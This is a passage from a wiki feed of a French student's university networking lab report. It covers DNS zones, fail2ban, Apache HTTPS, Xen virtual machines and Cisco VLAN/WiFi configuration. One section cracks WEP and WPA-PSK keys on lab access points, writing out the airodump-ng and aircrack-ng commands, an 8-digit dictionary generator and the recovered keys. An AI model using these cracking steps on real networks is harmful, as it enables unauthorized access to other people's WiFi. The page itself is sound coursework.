        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir &#039;&#039;&#039;vérifier&#039;&#039;&#039; le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour &#039;&#039;&#039;lancer le service&#039;&#039;&#039; il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef &#039;&#039;&#039;deadpool.tech.key&#039;&#039;&#039; et les certificats &#039;&#039;&#039;GandiCert.pem&#039;&#039;&#039; et &#039;&#039;&#039;deadpool.tech.crt&#039;&#039;&#039; (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se &#039;&#039;&#039;ssh sur le routeur&#039;&#039;&#039; via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Création du Vlan24&#039;&#039;&#039; avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le &#039;&#039;&#039;vlan&#039;&#039;&#039; que nous venons de créer ainsi que le &#039;&#039;&#039;VRRP&#039;&#039;&#039; j&#039;ai fait ceci : (&#039;&#039;&#039;/!\&#039;&#039;&#039; l&#039;adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d&#039;éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie &#039;&#039;&#039;wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre &#039;&#039;&#039;point d&#039;accès wifi&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc &#039;&#039;&#039;incomplète&#039;&#039;&#039; et ne permet pas de validé cette dernière. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12356</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12356"/>
		<updated>2026-02-23T10:36:04Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* DNS et DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
